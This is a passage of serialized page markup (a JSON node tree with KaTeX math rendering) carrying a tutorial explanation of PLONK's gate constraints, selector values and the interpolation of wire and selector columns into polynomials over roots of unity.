",{"type":22,"tag":30,"props":145543,"children":145545},{"className":145544},[8026,8027],[145546],{"type":22,"tag":101,"props":145547,"children":145549},{"className":145548},[8032],[145550],{"type":22,"tag":101,"props":145551,"children":145553},{"className":145552,"ariaHidden":5608},[8037],[145554,145616,145678],{"type":22,"tag":101,"props":145555,"children":145557},{"className":145556},[8042],[145558,145562,145603,145607,145612],{"type":22,"tag":101,"props":145559,"children":145561},{"className":145560,"style":126891},[8047],[],{"type":22,"tag":101,"props":145563,"children":145565},{"className":145564},[8053],[145566,145571],{"type":22,"tag":101,"props":145567,"children":145569},{"className":145568,"style":97040},[8053,25575],[145570],{"type":27,"value":7155},{"type":22,"tag":101,"props":145572,"children":145574},{"className":145573},[8069],[145575],{"type":22,"tag":101,"props":145576,"children":145578},{"className":145577},[8074],[145579],{"type":22,"tag":101,"props":145580,"children":145582},{"className":145581},[8079],[145583],{"type":22,"tag":101,"props":145584,"children":145586},{"className":145585,"style":8048},[8084],[145587],{"type":22,"tag":101,"props":145588,"children":145589},{"style":8088},[145590,145594],{"type":22,"tag":101,"props":145591,"children":145593},{"className":145592,"style":8094},[8093],[],{"type":22,"tag":101,"props":145595,"children":145597},{"className":145596},[8099,8100,8101,8102],[145598],{"type":22,"tag":101,"props":145599,"children":145601},{"className":145600},[8053,8102],[145602],{"type":27,"value":7164},{"type":22,"tag":101,"props":145604,"children":145606},{"className":145605,"style":8231},[8133],[],{"type":22,"tag":101,"props":145608,"children":145610},{"className":145609},[8236],[145611],{"type":27,"value":1511},{"type":22,"tag":101,"props":145613,"children":145615},{"className":145614,"style":8231},[8133],[],{"type":22,"tag":101,"props":145617,"children":145619},{"className":145618},[8042],[145620,145624,145665,145669,145674],{"type":22,"tag":101,"props":145621,"children":145623},{"className":145622,"style":126766},[8047],[],{"type":22,"tag":101,"props":145625,"children":145627},{"className":145626},[8053],[145628,145633],{"type":22,"tag":101,"props":145629,"children":145631},{"className":145630},[8053,25575],[145632],{"type":27,"value":23266},{"type":22,"tag":101,"props":145634,"children":145636},{"className":145635},[8069],[145637],{"type":22,"tag":101,"props":145638,"children":145640},{"className":145639},[8074],[145641],{"type":22,"tag":101,"props":145642,"children":145644},{"className":145643},[8079],[145645],{"type":22,"tag":101,"props":145646,"children":145648},{"className":145647,"style":8048},[8084],[145649],{"type":22,"tag":101,"props":145650,"children":145651},{"style":8088},[145652,145656],{"type":22,"tag":101,"props":145653,"children":145655},{"className":145654,"style":8094},[8093],[],{"type":22,"tag":101,"props":145657,"children":145659},{"className":145658},[8099,8100,8101,8102],[145660],{"type":22,"tag":101,"props":145661,"children":145663},{"className":145662},[8053,8102],[145664],{"type":27,"value":21293},{"type":22,"tag":101,"props":145666,"children":145668},{"className":145667,"style":8134},[8133],[],{"type":22,"tag":101,"props":145670,"children":145672},{"className":145671},[8139],[145673],{"type":27,"value":8426},{"type":22,"tag":101,"props":145675,"children":145677},{"className":145676,"style":8134},[8133],[],{"type":22,"tag":101,"props":145679,"children":145681},{"className":145680},[8042],[145682,145686],{"type":22,"tag":101,"props":145683,"children":145685},{"className":145684,"style":97585},[8047],[],{"type":22,"tag":101,"props":145687,"children":145689},{"className":145688},[8053],[145690],{"type":27,"value":58667},{"type":27,"value":145692},", here in ",{"type":22,"tag":30,"props":145694,"children":145696},{"className":145695},[8026,8027],[145697],{"type":22,"tag":101,"props":145698,"children":145700},{"className":145699},[8032],[145701],{"type":22,"tag":101,"props":145702,"children":145704},{"className":145703,"ariaHidden":5608},[8037],[145705],{"type":22,"tag":101,"props":145706,"children":145708},{"className":145707},[8042],[145709,145714],{"type":22,"tag":101,"props":145710,"children":145713},{"className":145711,"style":145712},[8047],"height:0.8389em;vertical-align:-0.15em;",[],{"type":22,"tag":101,"props":145715,"children":145717},{"className":145716},[8053],[145718,145723],{"type":22,"tag":101,"props":145719,"children":145721},{"className":145720},[8053,125329],[145722],{"type":27,"value":125332},{"type":22,"tag":101,"props":145724,"children":145726},{"className":145725},[8069],[145727],{"type":22,"tag":101,"props":145728,"children":145730},{"className":145729},[8074,25629],[145731,145765],{"type":22,"tag":101,"props":145732,"children":145734},{"className":145733},[8079],[145735,145760],{"type":22,"tag":101,"props":145736,"children":145738},{"className":145737,"style":96606},[8084],[145739],{"type":22,"tag":101,"props":145740,"children":145741},{"style":96610},[145742,145746],{"type":22,"tag":101,"props":145743,"children":145745},{"className":145744,"style":8094},[8093],[],{"type":22,"tag":101,"props":145747,"children":145749},{"className":145748},[8099,8100,8101,8102],[145750],{"type":22,"tag":101,"props":145751,"children":145753},{"className":145752},[8053,8102],[145754],{"type":22,"tag":101,"props":145755,"children":145757},{"className":145756},[8053,8102],[145758],{"type":27,"value":145759},"37",{"type":22,"tag":101,"props":145761,"children":145763},{"className":145762},[25732],[145764],{"type":27,"value":25735},{"type":22,"tag":101,"props":145766,"children":145768},{"className":145767},[8079],[145769],{"type":22,"tag":101,"props":145770,"children":145772},{"className":145771,"style":96637},[8084],[145773],{"type":22,"tag":101,"props":145774,"children":145775},{},[],{"type":27,"value":231},{"type":22,"tag":145778,"props":145779,"children":145780},"arithmetic-circuit-widget",{},[],{"type":22,"tag":23,"props":145782,"children":145783},{},[145784,145786,145812,145814,145893,145895,145972,145974,146051],{"type":27,"value":145785},"Each gate ",{"type":22,"tag":30,"props":145787,"children":145789},{"className":145788},[8026,8027],[145790],{"type":22,"tag":101,"props":145791,"children":145793},{"className":145792},[8032],[145794],{"type":22,"tag":101,"props":145795,"children":145797},{"className":145796,"ariaHidden":5608},[8037],[145798],{"type":22,"tag":101,"props":145799,"children":145801},{"className":145800},[8042],[145802,145807],{"type":22,"tag":101,"props":145803,"children":145806},{"className":145804,"style":145805},[8047],"height:0.6595em;",[],{"type":22,"tag":101,"props":145808,"children":145810},{"className":145809},[8053,25575],[145811],{"type":27,"value":7774},{"type":27,"value":145813}," has a left input ",{"type":22,"tag":30,"props":145815,"children":145817},{"className":145816},[8026,8027],[145818],{"type":22,"tag":101,"props":145819,"children":145821},{"className":145820},[8032],[145822],{"type":22,"tag":101,"props":145823,"children":145825},{"className":145824,"ariaHidden":5608},[8037],[145826],{"type":22,"tag":101,"props":145827,"children":145829},{"className":145828},[8042],[145830,145835],{"type":22,"tag":101,"props":145831,"children":145834},{"className":145832,"style":145833},[8047],"height:0.8444em;vertical-align:-0.15em;",[],{"type":22,"tag":101,"props":145836,"children":145838},{"className":145837},[8053],[145839,145844],{"type":22,"tag":101,"props":145840,"children":145842},{"className":145841,"style":96566},[8053,25575],[145843],{"type":27,"value":96569},{"type":22,"tag":101,"props":145845,"children":145847},{"className":145846},[8069],[145848],{"type":22,"tag":101,"props":145849,"children":145851},{"className":145850},[8074,25629],[145852,145882],{"type":22,"tag":101,"props":145853,"children":145855},{"className":145854},[8079],[145856,145877],{"type":22,"tag":101,"props":145857,"children":145859},{"className":145858,"style":97083},[8084],[145860],{"type":22,"tag":101,"props":145861,"children":145863},{"style":145862},"top:-2.55em;margin-left:-0.0197em;margin-right:0.05em;",[145864,145868],{"type":22,"tag":101,"props":145865,"children":145867},{"className":145866,"style":8094},[8093],[],{"type":22,"tag":101,"props":145869,"children":145871},{"className":145870},[8099,8100,8101,8102],[145872],{"type":22,"tag":101,"props":145873,"children":145875},{"className":145874},[8053,25575,8102],[145876],{"type":27,"value":7774},{"type":22,"tag":101,"props":145878,"children":145880},{"className":145879},[25732],[145881],{"type":27,"value":25735},{"type":22,"tag":101,"props":145883,"children":145885},{"className":145884},[8079],[145886],{"type":22,"tag":101,"props":145887,"children":145889},{"className":145888,"style":96637},[8084],[145890],{"type":22,"tag":101,"props":145891,"children":145892},{},[],{"type":27,"value":145894},", right input ",{"type":22,"tag":30,"props":145896,"children":145898},{"className":145897},[8026,8027],[145899],{"type":22,"tag":101,"props":145900,"children":145902},{"className":145901},[8032],[145903],{"type":22,"tag":101,"props":145904,"children":145906},{"className":145905,"ariaHidden":5608},[8037],[145907],{"type":22,"tag":101,"props":145908,"children":145910},{"className":145909},[8042],[145911,145915],{"type":22,"tag":101,"props":145912,"children":145914},{"className":145913,"style":113524},[8047],[],{"type":22,"tag":101,"props":145916,"children":145918},{"className":145917},[8053],[145919,145924],{"type":22,"tag":101,"props":145920,"children":145922},{"className":145921,"style":96554},[8053,25575],[145923],{"type":27,"value":97373},{"type":22,"tag":101,"props":145925,"children":145927},{"className":145926},[8069],[145928],{"type":22,"tag":101,"props":145929,"children":145931},{"className":145930},[8074,25629],[145932,145961],{"type":22,"tag":101,"props":145933,"children":145935},{"className":145934},[8079],[145936,145956],{"type":22,"tag":101,"props":145937,"children":145939},{"className":145938,"style":97083},[8084],[145940],{"type":22,"tag":101,"props":145941,"children":145942},{"style":113553},[145943,145947],{"type":22,"tag":101,"props":145944,"children":145946},{"className":145945,"style":8094},[8093],[],{"type":22,"tag":101,"props":145948,"children":145950},{"className":145949},[8099,8100,8101,8102],[145951],{"type":22,"tag":101,"props":145952,"children":145954},{"className":145953},[8053,25575,8102],[145955],{"type":27,"value":7774},{"type":22,"tag":101,"props":145957,"children":145959},{"className":145958},[25732],[145960],{"type":27,"value":25735},{"type":22,"tag":101,"props":145962,"children":145964},{"className":145963},[8079],[145965],{"type":22,"tag":101,"props":145966,"children":145968},{"className":145967,"style":96637},[8084],[145969],{"type":22,"tag":101,"props":145970,"children":145971},{},[],{"type":27,"value":145973},", and output ",{"type":22,"tag":30,"props":145975,"children":145977},{"className":145976},[8026,8027],[145978],{"type":22,"tag":101,"props":145979,"children":145981},{"className":145980},[8032],[145982],{"type":22,"tag":101,"props":145983,"children":145985},{"className":145984,"ariaHidden":5608},[8037],[145986],{"type":22,"tag":101,"props":145987,"children":145989},{"className":145988},[8042],[145990,145994],{"type":22,"tag":101,"props":145991,"children":145993},{"className":145992,"style":113524},[8047],[],{"type":22,"tag":101,"props":145995,"children":145997},{"className":145996},[8053],[145998,146003],{"type":22,"tag":101,"props":145999,"children":146001},{"className":146000},[8053,25575],[146002],{"type":27,"value":96524},{"type":22,"tag":101,"props":146004,"children":146006},{"className":146005},[8069],[146007],{"type":22,"tag":101,"props":146008,"children":146010},{"className":146009},[8074,25629],[146011,146040],{"type":22,"tag":101,"props":146012,"children":146014},{"className":146013},[8079],[146015,146035],{"type":22,"tag":101,"props":146016,"children":146018},{"className":146017,"style":97083},[8084],[146019],{"type":22,"tag":101,"props":146020,"children":146021},{"style":96610},[146022,146026],{"type":22,"tag":101,"props":146023,"children":146025},{"className":146024,"style":8094},[8093],[],{"type":22,"tag":101,"props":146027,"children":146029},{"className":146028},[8099,8100,8101,8102],[146030],{"type":22,"tag":101,"props":146031,"children":146033},{"className":146032},[8053,25575,8102],[146034],{"type":27,"value":7774},{"type":22,"tag":101,"props":146036,"children":146038},{"className":146037},[25732],[146039],{"type":27,"value":25735},{"type":22,"tag":101,"props":146041,"children":146043},{"className":146042},[8079],[146044],{"type":22,"tag":101,"props":146045,"children":146047},{"className":146046,"style":96637},[8084],[146048],{"type":22,"tag":101,"props":146049,"children":146050},{},[],{"type":27,"value":146052},". The prover's job is to show it knows wire values that satisfy every gate.",{"type":22,"tag":23,"props":146054,"children":146055},{},[146056,146058,146063,146065,146169,146171,146274,146276,146281],{"type":27,"value":146057},"Each gate imposes a constraint, and PLONK unifies all gate types into one expression using ",{"type":22,"tag":6961,"props":146059,"children":146060},{},[146061],{"type":27,"value":146062},"selector",{"type":27,"value":146064}," values that act as switches: setting ",{"type":22,"tag":30,"props":146066,"children":146068},{"className":146067},[8026,8027],[146069],{"type":22,"tag":101,"props":146070,"children":146072},{"className":146071},[8032],[146073],{"type":22,"tag":101,"props":146074,"children":146076},{"className":146075,"ariaHidden":5608},[8037],[146077,146156],{"type":22,"tag":101,"props":146078,"children":146080},{"className":146079},[8042],[146081,146085,146143,146147,146152],{"type":22,"tag":101,"props":146082,"children":146084},{"className":146083,"style":113444},[8047],[],{"type":22,"tag":101,"props":146086,"children":146088},{"className":146087},[8053],[146089,146094],{"type":22,"tag":101,"props":146090,"children":146092},{"className":146091,"style":97040},[8053,25575],[146093],{"type":27,"value":97043},{"type":22,"tag":101,"props":146095,"children":146097},{"className":146096},[8069],[146098],{"type":22,"tag":101,"props":146099,"children":146101},{"className":146100},[8074,25629],[146102,146132],{"type":22,"tag":101,"props":146103,"children":146105},{"className":146104},[8079],[146106,146127],{"type":22,"tag":101,"props":146107,"children":146110},{"className":146108,"style":146109},[8084],"height:0.3283em;",[146111],{"type":22,"tag":101,"props":146112,"children":146113},{"style":97087},[146114,146118],{"type":22,"tag":101,"props":146115,"children":146117},{"className":146116,"style":8094},[8093],[],{"type":22,"tag":101,"props":146119,"children":146121},{"className":146120},[8099,8100,8101,8102],[146122],{"type":22,"tag":101,"props":146123,"children":146125},{"className":146124,"style":98562},[8053,25575,8102],[146126],{"type":27,"value":98565},{"type":22,"tag":101,"props":146128,"children":146130},{"className":146129},[25732],[146131],{"type":27,"value":25735},{"type":22,"tag":101,"props":146133,"children":146135},{"className":146134},[8079],[146136],{"type":22,"tag":101,"props":146137,"children":146139},{"className":146138,"style":96637},[8084],[146140],{"type":22,"tag":101,"props":146141,"children":146142},{},[],{"type":22,"tag":101,"props":146144,"children":146146},{"className":146145,"style":8231},[8133],[],{"type":22,"tag":101,"props":146148,"children":146150},{"className":146149},[8236],[146151],{"type":27,"value":1511},{"type":22,"tag":101,"props":146153,"children":146155},{"className":146154,"style":8231},[8133],[],{"type":22,"tag":101,"props":146157,"children":146159},{"className":146158},[8042],[146160,146164],{"type":22,"tag":101,"props":146161,"children":146163},{"className":146162,"style":97585},[8047],[],{"type":22,"tag":101,"props":146165,"children":146167},{"className":146166},[8053],[146168],{"type":27,"value":6813},{"type":27,"value":146170}," makes a row a multiplication gate, setting ",{"type":22,"tag":30,"props":146172,"children":146174},{"className":146173},[8026,8027],[146175],{"type":22,"tag":101,"props":146176,"children":146178},{"className":146177},[8032],[146179],{"type":22,"tag":101,"props":146180,"children":146182},{"className":146181,"ariaHidden":5608},[8037],[146183,146261],{"type":22,"tag":101,"props":146184,"children":146186},{"className":146185},[8042],[146187,146191,146248,146252,146257],{"type":22,"tag":101,"props":146188,"children":146190},{"className":146189,"style":113444},[8047],[],{"type":22,"tag":101,"props":146192,"children":146194},{"className":146193},[8053],[146195,146200],{"type":22,"tag":101,"props":146196,"children":146198},{"className":146197,"style":97040},[8053,25575],[146199],{"type":27,"value":97043},{"type":22,"tag":101,"props":146201,"children":146203},{"className":146202},[8069],[146204],{"type":22,"tag":101,"props":146205,"children":146207},{"className":146206},[8074,25629],[146208,146237],{"type":22,"tag":101,"props":146209,"children":146211},{"className":146210},[8079],[146212,146232],{"type":22,"tag":101,"props":146213,"children":146215},{"className":146214,"style":146109},[8084],[146216],{"type":22,"tag":101,"props":146217,"children":146218},{"style":97087},[146219,146223],{"type":22,"tag":101,"props":146220,"children":146222},{"className":146221,"style":8094},[8093],[],{"type":22,"tag":101,"props":146224,"children":146226},{"className":146225},[8099,8100,8101,8102],[146227],{"type":22,"tag":101,"props":146228,"children":146230},{"className":146229},[8053,25575,8102],[146231],{"type":27,"value":121518},{"type":22,"tag":101,"props":146233,"children":146235},{"className":146234},[25732],[146236],{"type":27,"value":25735},{"type":22,"tag":101,"props":146238,"children":146240},{"className":146239},[8079],[146241],{"type":22,"tag":101,"props":146242,"children":146244},{"className":146243,"style":96637},[8084],[146245],{"type":22,"tag":101,"props":146246,"children":146247},{},[],{"type":22,"tag":101,"props":146249,"children":146251},{"className":146250,"style":8231},[8133],[],{"type":22,"tag":101,"props":146253,"children":146255},{"className":146254},[8236],[146256],{"type":27,"value":1511},{"type":22,"tag":101,"props":146258,"children":146260},{"className":146259,"style":8231},[8133],[],{"type":22,"tag":101,"props":146262,"children":146264},{"className":146263},[8042],[146265,146269],{"type":22,"tag":101,"props":146266,"children":146268},{"className":146267,"style":97585},[8047],[],{"type":22,"tag":101,"props":146270,"children":146272},{"className":146271},[8053],[146273],{"type":27,"value":6813},{"type":27,"value":146275}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":22,"tag":6961,"props":146277,"children":146278},{},[146279],{"type":27,"value":146280},"permutation argument",{"type":27,"value":146282}," for that, which we will not cover here.",{"type":22,"tag":1760,"props":146284,"children":146286},{"id":146285},"from-many-checks-to-one",[146287],{"type":27,"value":146288},"From many checks to one",{"type":22,"tag":23,"props":146290,"children":146291},{},[146292,146294,146299,146300,146392,146393,146485,146486,146578,146580,146585,146586,146678,146679,146771,146773,146798,146800,146825,146827,146919,146921,146946,146948,146973],{"type":27,"value":146293},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":22,"tag":6961,"props":146295,"children":146296},{},[146297],{"type":27,"value":146298},"witness polynomials",{"type":27,"value":2169},{"type":22,"tag":30,"props":146301,"children":146303},{"className":146302},[8026,8027],[146304],{"type":22,"tag":101,"props":146305,"children":146307},{"className":146306},[8032],[146308],{"type":22,"tag":101,"props":146309,"children":146311},{"className":146310,"ariaHidden":5608},[8037],[146312],{"type":22,"tag":101,"props":146313,"children":146315},{"className":146314},[8042],[146316,146320,146377,146382,146387],{"type":22,"tag":101,"props":146317,"children":146319},{"className":146318,"style":8154},[8047],[],{"type":22,"tag":101,"props":146321,"children":146323},{"className":146322},[8053],[146324,146329],{"type":22,"tag":101,"props":146325,"children":146327},{"className":146326,"style":98908},[8053,25575],[146328],{"type":27,"value":37080},{"type":22,"tag":101,"props":146330,"children":146332},{"className":146331},[8069],[146333],{"type":22,"tag":101,"props":146334,"children":146336},{"className":146335},[8074,25629],[146337,146366],{"type":22,"tag":101,"props":146338,"children":146340},{"className":146339},[8079],[146341,146361],{"type":22,"tag":101,"props":146342,"children":146344},{"className":146343,"style":146109},[8084],[146345],{"type":22,"tag":101,"props":146346,"children":146347},{"style":98929},[146348,146352],{"type":22,"tag":101,"props":146349,"children":146351},{"className":146350,"style":8094},[8093],[],{"type":22,"tag":101,"props":146353,"children":146355},{"className":146354},[8099,8100,8101,8102],[146356],{"type":22,"tag":101,"props":146357,"children":146359},{"className":146358},[8053,25575,8102],[146360],{"type":27,"value":121518},{"type":22,"tag":101,"props":146362,"children":146364},{"className":146363},[25732],[146365],{"type":27,"value":25735},{"type":22,"tag":101,"props":146367,"children":146369},{"className":146368},[8079],[146370],{"type":22,"tag":101,"props":146371,"children":146373},{"className":146372,"style":96637},[8084],[146374],{"type":22,"tag":101,"props":146375,"children":146376},{},[],{"type":22,"tag":101,"props":146378,"children":146380},{"className":146379},[25704],[146381],{"type":27,"value":980},{"type":22,"tag":101,"props":146383,"children":146385},{"className":146384},[8053,25575],[146386],{"type":27,"value":23266},{"type":22,"tag":101,"props":146388,"children":146390},{"className":146389},[25726],[146391],{"type":27,"value":2261},{"type":27,"value":758},{"type":22,"tag":30,"props":146394,"children":146396},{"className":146395},[8026,8027],[146397],{"type":22,"tag":101,"props":146398,"children":146400},{"className":146399},[8032],[146401],{"type":22,"tag":101,"props":146402,"children":146404},{"className":146403,"ariaHidden":5608},[8037],[146405],{"type":22,"tag":101,"props":146406,"children":146408},{"className":146407},[8042],[146409,146413,146470,146475,146480],{"type":22,"tag":101,"props":146410,"children":146412},{"className":146411,"style":8154},[8047],[],{"type":22,"tag":101,"props":146414,"children":146416},{"className":146415},[8053],[146417,146422],{"type":22,"tag":101,"props":146418,"children":146420},{"className":146419,"style":98908},[8053,25575],[146421],{"type":27,"value":37080},{"type":22,"tag":101,"props":146423,"children":146425},{"className":146424},[8069],[146426],{"type":22,"tag":101,"props":146427,"children":146429},{"className":146428},[8074,25629],[146430,146459],{"type":22,"tag":101,"props":146431,"children":146433},{"className":146432},[8079],[146434,146454],{"type":22,"tag":101,"props":146435,"children":146437},{"className":146436,"style":146109},[8084],[146438],{"type":22,"tag":101,"props":146439,"children":146440},{"style":98929},[146441,146445],{"type":22,"tag":101,"props":146442,"children":146444},{"className":146443,"style":8094},[8093],[],{"type":22,"tag":101,"props":146446,"children":146448},{"className":146447},[8099,8100,8101,8102],[146449],{"type":22,"tag":101,"props":146450,"children":146452},{"className":146451,"style":126331},[8053,25575,8102],[146453],{"type":27,"value":126334},{"type":22,"tag":101,"props":146455,"children":146457},{"className":146456},[25732],[146458],{"type":27,"value":25735},{"type":22,"tag":101,"props":146460,"children":146462},{"className":146461},[8079],[146463],{"type":22,"tag":101,"props":146464,"children":146466},{"className":146465,"style":96637},[8084],[146467],{"type":22,"tag":101,"props":146468,"children":146469},{},[],{"type":22,"tag":101,"props":146471,"children":146473},{"className":146472},[25704],[146474],{"type":27,"value":980},{"type":22,"tag":101,"props":146476,"children":146478},{"className":146477},[8053,25575],[146479],{"type":27,"value":23266},{"type":22,"tag":101,"props":146481,"children":146483},{"className":146482},[25726],[146484],{"type":27,"value":2261},{"type":27,"value":758},{"type":22,"tag":30,"props":146487,"children":146489},{"className":146488},[8026,8027],[146490],{"type":22,"tag":101,"props":146491,"children":146493},{"className":146492},[8032],[146494],{"type":22,"tag":101,"props":146495,"children":146497},{"className":146496,"ariaHidden":5608},[8037],[146498],{"type":22,"tag":101,"props":146499,"children":146501},{"className":146500},[8042],[146502,146506,146563,146568,146573],{"type":22,"tag":101,"props":146503,"children":146505},{"className":146504,"style":8154},[8047],[],{"type":22,"tag":101,"props":146507,"children":146509},{"className":146508},[8053],[146510,146515],{"type":22,"tag":101,"props":146511,"children":146513},{"className":146512,"style":98908},[8053,25575],[146514],{"type":27,"value":37080},{"type":22,"tag":101,"props":146516,"children":146518},{"className":146517},[8069],[146519],{"type":22,"tag":101,"props":146520,"children":146522},{"className":146521},[8074,25629],[146523,146552],{"type":22,"tag":101,"props":146524,"children":146526},{"className":146525},[8079],[146527,146547],{"type":22,"tag":101,"props":146528,"children":146530},{"className":146529,"style":146109},[8084],[146531],{"type":22,"tag":101,"props":146532,"children":146533},{"style":98929},[146534,146538],{"type":22,"tag":101,"props":146535,"children":146537},{"className":146536,"style":8094},[8093],[],{"type":22,"tag":101,"props":146539,"children":146541},{"className":146540},[8099,8100,8101,8102],[146542],{"type":22,"tag":101,"props":146543,"children":146545},{"className":146544,"style":96554},[8053,25575,8102],[146546],{"type":27,"value":118873},{"type":22,"tag":101,"props":146548,"children":146550},{"className":146549},[25732],[146551],{"type":27,"value":25735},{"type":22,"tag":101,"props":146553,"children":146555},{"className":146554},[8079],[146556],{"type":22,"tag":101,"props":146557,"children":146559},{"className":146558,"style":96637},[8084],[146560],{"type":22,"tag":101,"props":146561,"children":146562},{},[],{"type":22,"tag":101,"props":146564,"children":146566},{"className":146565},[25704],[146567],{"type":27,"value":980},{"type":22,"tag":101,"props":146569,"children":146571},{"className":146570},[8053,25575],[146572],{"type":27,"value":23266},{"type":22,"tag":101,"props":146574,"children":146576},{"className":146575},[25726],[146577],{"type":27,"value":2261},{"type":27,"value":146579}," and the selectors become ",{"type":22,"tag":6961,"props":146581,"children":146582},{},[146583],{"type":27,"value":146584},"selector polynomials",{"type":27,"value":2169},{"type":22,"tag":30,"props":146587,"children":146589},{"className":146588},[8026,8027],[146590],{"type":22,"tag":101,"props":146591,"children":146593},{"className":146592},[8032],[146594],{"type":22,"tag":101,"props":146595,"children":146597},{"className":146596,"ariaHidden":5608},[8037],[146598],{"type":22,"tag":101,"props":146599,"children":146601},{"className":146600},[8042],[146602,146606,146663,146668,146673],{"type":22,"tag":101,"props":146603,"children":146605},{"className":146604,"style":8154},[8047],[],{"type":22,"tag":101,"props":146607,"children":146609},{"className":146608},[8053],[146610,146615],{"type":22,"tag":101,"props":146611,"children":146613},{"className":146612},[8053,25575],[146614],{"type":27,"value":80309},{"type":22,"tag":101,"props":146616,"children":146618},{"className":146617},[8069],[146619],{"type":22,"tag":101,"props":146620,"children":146622},{"className":146621},[8074,25629],[146623,146652],{"type":22,"tag":101,"props":146624,"children":146626},{"className":146625},[8079],[146627,146647],{"type":22,"tag":101,"props":146628,"children":146630},{"className":146629,"style":146109},[8084],[146631],{"type":22,"tag":101,"props":146632,"children":146633},{"style":96610},[146634,146638],{"type":22,"tag":101,"props":146635,"children":146637},{"className":146636,"style":8094},[8093],[],{"type":22,"tag":101,"props":146639,"children":146641},{"className":146640},[8099,8100,8101,8102],[146642],{"type":22,"tag":101,"props":146643,"children":146645},{"className":146644,"style":98562},[8053,25575,8102],[146646],{"type":27,"value":98565},{"type":22,"tag":101,"props":146648,"children":146650},{"className":146649},[25732],[146651],{"type":27,"value":25735},{"type":22,"tag":101,"props":146653,"children":146655},{"className":146654},[8079],[146656],{"type":22,"tag":101,"props":146657,"children":146659},{"className":146658,"style":96637},[8084],[146660],{"type":22,"tag":101,"props":146661,"children":146662},{},[],{"type":22,"tag":101,"props":146664,"children":146666},{"className":146665},[25704],[146667],{"type":27,"value":980},{"type":22,"tag":101,"props":146669,"children":146671},{"className":146670},[8053,25575],[146672],{"type":27,"value":23266},{"type":22,"tag":101,"props":146674,"children":146676},{"className":146675},[25726],[146677],{"type":27,"value":2261},{"type":27,"value":758},{"type":22,"tag":30,"props":146680,"children":146682},{"className":146681},[8026,8027],[146683],{"type":22,"tag":101,"props":146684,"children":146686},{"className":146685},[8032],[146687],{"type":22,"tag":101,"props":146688,"children":146690},{"className":146689,"ariaHidden":5608},[8037],[146691],{"type":22,"tag":101,"props":146692,"children":146694},{"className":146693},[8042],[146695,146699,146756,146761,146766],{"type":22,"tag":101,"props":146696,"children":146698},{"className":146697,"style":8154},[8047],[],{"type":22,"tag":101,"props":146700,"children":146702},{"className":146701},[8053],[146703,146708],{"type":22,"tag":101,"props":146704,"children":146706},{"className":146705},[8053,25575],[146707],{"type":27,"value":80309},{"type":22,"tag":101,"props":146709,"children":146711},{"className":146710},[8069],[146712],{"type":22,"tag":101,"props":146713,"children":146715},{"className":146714},[8074,25629],[146716,146745],{"type":22,"tag":101,"props":146717,"children":146719},{"className":146718},[8079],[146720,146740],{"type":22,"tag":101,"props":146721,"children":146723},{"className":146722,"style":146109},[8084],[146724],{"type":22,"tag":101,"props":146725,"children":146726},{"style":96610},[146727,146731],{"type":22,"tag":101,"props":146728,"children":146730},{"className":146729,"style":8094},[8093],[],{"type":22,"tag":101,"props":146732,"children":146734},{"className":146733},[8099,8100,8101,8102],[146735],{"type":22,"tag":101,"props":146736,"children":146738},{"className":146737},[8053,25575,8102],[146739],{"type":27,"value":121518},{"type":22,"tag":101,"props":146741,"children":146743},{"className":146742},[25732],[146744],{"type":27,"value":25735},{"type":22,"tag":101,"props":146746,"children":146748},{"className":146747},[8079],[146749],{"type":22,"tag":101,"props":146750,"children":146752},{"className":146751,"style":96637},[8084],[146753],{"type":22,"tag":101,"props":146754,"children":146755},{},[],{"type":22,"tag":101,"props":146757,"children":146759},{"className":146758},[25704],[146760],{"type":27,"value":980},{"type":22,"tag":101,"props":146762,"children":146764},{"className":146763},[8053,25575],[146765],{"type":27,"value":23266},{"type":22,"tag":101,"props":146767,"children":146769},{"className":146768},[25726],[146770],{"type":27,"value":2261},{"type":27,"value":146772},", etc., all interpolated over a domain ",{"type":22,"tag":30,"props":146774,"children":146776},{"className":146775},[8026,8027],[146777],{"type":22,"tag":101,"props":146778,"children":146780},{"className":146779},[8032],[146781],{"type":22,"tag":101,"props":146782,"children":146784},{"className":146783,"ariaHidden":5608},[8037],[146785],{"type":22,"tag":101,"props":146786,"children":146788},{"className":146787},[8042],[146789,146793],{"type":22,"tag":101,"props":146790,"children":146792},{"className":146791,"style":25570},[8047],[],{"type":22,"tag":101,"props":146794,"children":146796},{"className":146795,"style":96788},[8053,25575],[146797],{"type":27,"value":96791},{"type":27,"value":146799}," of ",{"type":22,"tag":30,"props":146801,"children":146803},{"className":146802},[8026,8027],[146804],{"type":22,"tag":101,"props":146805,"children":146807},{"className":146806},[8032],[146808],{"type":22,"tag":101,"props":146809,"children":146811},{"className":146810,"ariaHidden":5608},[8037],[146812],{"type":22,"tag":101,"props":146813,"children":146815},{"className":146814},[8042],[146816,146820],{"type":22,"tag":101,"props":146817,"children":146819},{"className":146818,"style":114395},[8047],[],{"type":22,"tag":101,"props":146821,"children":146823},{"className":146822},[8053,25575],[146824],{"type":27,"value":60400},{"type":27,"value":146826},"-th roots of unity. Evaluating ",{"type":22,"tag":30,"props":146828,"children":146830},{"className":146829},[8026,8027],[146831],{"type":22,"tag":101,"props":146832,"children":146834},{"className":146833},[8032],[146835],{"type":22,"tag":101,"props":146836,"children":146838},{"className":146837,"ariaHidden":5608},[8037],[146839],{"type":22,"tag":101,"props":146840,"children":146842},{"className":146841},[8042],[146843,146847,146904,146909,146914],{"type":22,"tag":101,"props":146844,"children":146846},{"className":146845,"style":8154},[8047],[],{"type":22,"tag":101,"props":146848,"children":146850},{"className":146849},[8053],[146851,146856],{"type":22,"tag":101,"props":146852,"children":146854},{"className":146853,"style":98908},[8053,25575],[146855],{"type":27,"value":37080},{"type":22,"tag":101,"props":146857,"children":146859},{"className":146858},[8069],[146860],{"type":22,"tag":101,"props":146861,"children":146863},{"className":146862},[8074,25629],[146864,146893],{"type":22,"tag":101,"props":146865,"children":146867},{"className":146866},[8079],[146868,146888],{"type":22,"tag":101,"props":146869,"children":146871},{"className":146870,"style":146109},[8084],[146872],{"type":22,"tag":101,"props":146873,"children":146874},{"style":98929},[146875,146879],{"type":22,"tag":101,"props":146876,"children":146878},{"className":146877,"style":8094},[8093],[],{"type":22,"tag":101,"props":146880,"children":146882},{"className":146881},[8099,8100,8101,8102],[146883],{"type":22,"tag":101,"props":146884,"children":146886},{"className":146885},[8053,25575,8102],[146887],{"type":27,"value":121518},{"type":22,"tag":101,"props":